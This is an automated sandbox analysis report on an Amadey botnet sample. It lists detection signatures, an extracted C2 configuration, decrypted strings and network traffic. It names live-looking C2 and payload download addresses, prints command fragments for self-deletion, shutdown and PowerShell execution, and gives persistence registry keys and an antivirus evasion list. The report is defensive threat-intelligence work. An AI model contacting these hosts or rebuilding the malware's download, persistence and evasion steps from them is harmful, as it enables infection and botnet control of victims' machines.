Windows Analysis Report
random.exe

Overview

General Information

Sample name: random.exe
Analysis ID: 1651729
MD5: ed19338ae7b4f14a6300a82555194914
SHA1: c4b17e900215a704197817f8d419b40a07d687e8
SHA256: 7b5bd878343c3cecaee575c5046401e677127e53682f1894067af020d3bab1fa
Tags: 092155Amadeyexeuser-aachum
Infos:

Detection

Amadey
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and execute file
Yara detected Amadey
Yara detected Amadeys Clipper DLL
Yara detected Powershell download and execute
Yara detected obfuscated html page
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Contains functionality to start a terminal service
Creates HTA files
Found API chain indicative of sandbox detection
Hides threads from debuggers
Joe Sandbox ML detected suspicious sample
PE file contains section with special chars
Powershell drops PE file
Sample uses string decryption to hide its real strings
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell DownloadFile
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to download and execute files (via powershell)
Tries to evade debugger and weak emulator (self modifying code)
Uses schtasks.exe or at.exe to add and modify task schedules
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Searches for the Microsoft Outlook file path
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: random.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp Malware Configuration Extractor: Amadey {"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}
Multi AV Scanner detection for submitted file
Source: random.exe Virustotal: Detection: 49% Perma Link
Source: random.exe ReversingLabs: Detection: 50%
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Neural Call Log Analysis: 99.7%
Sample uses string decryption to hide its real strings
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: 176.113.115.6
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: /Ni9kiput/index.php
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: S-%lu-
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: bb556cff4a
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: rapes.exe
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Startup
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: cmd /C RMDIR /s/q
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: rundll32
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Programs
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: %USERPROFILE%
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: cred.dll|clip.dll|
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: cred.dll
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: clip.dll
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: http://
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: https://
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: /quiet
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: /Plugins/
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: &unit=
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: shell32.dll
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: kernel32.dll
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: GetNativeSystemInfo
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: ProgramData\
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: AVAST Software
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Kaspersky Lab
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Panda Security
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Doctor Web
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: 360TotalSecurity
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Bitdefender
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Norton
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Sophos
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Comodo
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: WinDefender
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: 0123456789
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: ------
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: ?scr=1
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: ComputerName
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: -unicode-
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: VideoID
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: DefaultSettings.XResolution
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: DefaultSettings.YResolution
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: ProductName
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: CurrentBuild
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: rundll32.exe
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: "taskkill /f /im "
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: " && timeout 1 && del
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: && Exit"
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: " && ren
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Powershell.exe
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: -executionpolicy remotesigned -File "
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: shutdown -s -t 0
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: random
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: Keyboard Layout\Preload
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: 00000419
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: 00000422
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: 00000423
Source: 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String decryptor: 0000043f

Phishing
barindex
Yara detected obfuscated html page
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta, type: DROPPED
Uses 32bit PE files
Source: random.exe Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: Binary string: e.pdb source: powershell.exe, 00000009.00000002.974419404.000002C7263F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: Automation.pdb source: powershell.exe, 00000009.00000002.974967281.000002C726690000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: *on.pdbT source: powershell.exe, 00000009.00000002.974419404.000002C726418000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 0_2_0023DBBE
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0020C2A2 FindFirstFileExW, 0_2_0020C2A2
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_002468EE FindFirstFileW,FindClose, 0_2_002468EE
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 0_2_0024698F
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_0023D076
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0023D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_0023D3A9
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00249642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_00249642
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_0024979D
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00249B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 0_2_00249B2B
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00245C97 FindFirstFileW,FindNextFileW,FindClose, 0_2_00245C97

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor IPs: 176.113.115.6
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 29 Mar 2025 13:30:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Sat, 29 Mar 2025 13:18:14 GMTETag: "1c6400-6317b04fd38f9"Accept-Ranges: bytesContent-Length: 1860608Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d1 b6 42 53 95 d7 2c 00 95 d7 2c 00 95 d7 2c 00 81 bc 2f 01 98 d7 2c 00 81 bc 29 01 2f d7 2c 00 c7 a2 28 01 87 d7 2c 00 c7 a2 2f 01 83 d7 2c 00 c7 a2 29 01 cc d7 2c 00 a4 8b d1 00 97 d7 2c 00 81 bc 28 01 82 d7 2c 00 81 bc 2d 01 86 d7 2c 00 95 d7 2d 00 67 d7 2c 00 59 a2 25 01 94 d7 2c 00 59 a2 d3 00 94 d7 2c 00 59 a2 2e 01 94 d7 2c 00 52 69 63 68 95 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 23 01 bb 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 c0 01 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 21 5d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 e0 06 00 6b 00 00 00 00 d0 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 1f 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 1e 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 d0 06 00 00 04 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 f0 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 79 68 68 67 7a 78 69 00 50 19 00 00 d0 30 00 00 50 19 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6b 7a 70 73 6b 70 65 00 10 00 00 00 20 4a 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)/,(,/,),,(,-,-g,Y%,Y,Y.,Rich,PEL#g0J@`J!]@WkD0JJ
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 176.113.115.7Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 176.113.115.7 176.113.115.7
Source: Joe Sandbox View IP Address: 176.113.115.7 176.113.115.7
Source: Joe Sandbox View IP Address: 176.113.115.6 176.113.115.6
Source: Joe Sandbox View IP Address: 176.113.115.6 176.113.115.6
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: SELECTELRU SELECTELRU
Source: Joe Sandbox View ASN Name: SELECTELRU SELECTELRU
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024CE44 InternetReadFile,SetEvent,GetLastError,SetEvent, 0_2_0024CE44
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 176.113.115.7Connection: Keep-Alive
Source: powershell.exe, 00000006.00000002.1525328601.0000000005385000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1525328601.000000000521B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.7
Source: mshta.exe, 00000002.00000003.877662312.00000000031F6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.878895196.00000000031F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.7/mine/random
Source: powershell.exe, 00000009.00000002.949970233.000002C70E331000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.7/mine/random.exe
Source: svchost.exe, 0000000C.00000002.2125470709.000001C93FC0F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: qmgr.db.12.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.12.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.12.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.12.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.12.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.12.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.12.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000006.00000002.1540712581.0000000006058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.971147131.000002C71E4E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.971147131.000002C71E3A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.949970233.000002C70E55C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1525328601.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.949970233.000002C70E331000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.949970233.000002C70E55C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000009.00000002.949970233.000002C70E331000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.1525328601.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lBQr
Source: powershell.exe, 00000009.00000002.971147131.000002C71E3A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.971147131.000002C71E3A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.971147131.000002C71E3A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: edb.log.12.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000C.00000003.1203177870.000001C93FA70000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: powershell.exe, 00000009.00000002.949970233.000002C70E55C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000009.00000002.949970233.000002C70EF5C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro0
Source: powershell.exe, 00000006.00000002.1540712581.0000000006058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.971147131.000002C71E4E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.971147131.000002C71E3A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 0_2_0024EAFF
Contains functionality to modify clipboard data
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_0024ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 0_2_0024ED6A
Contains functionality to read the clipboard data
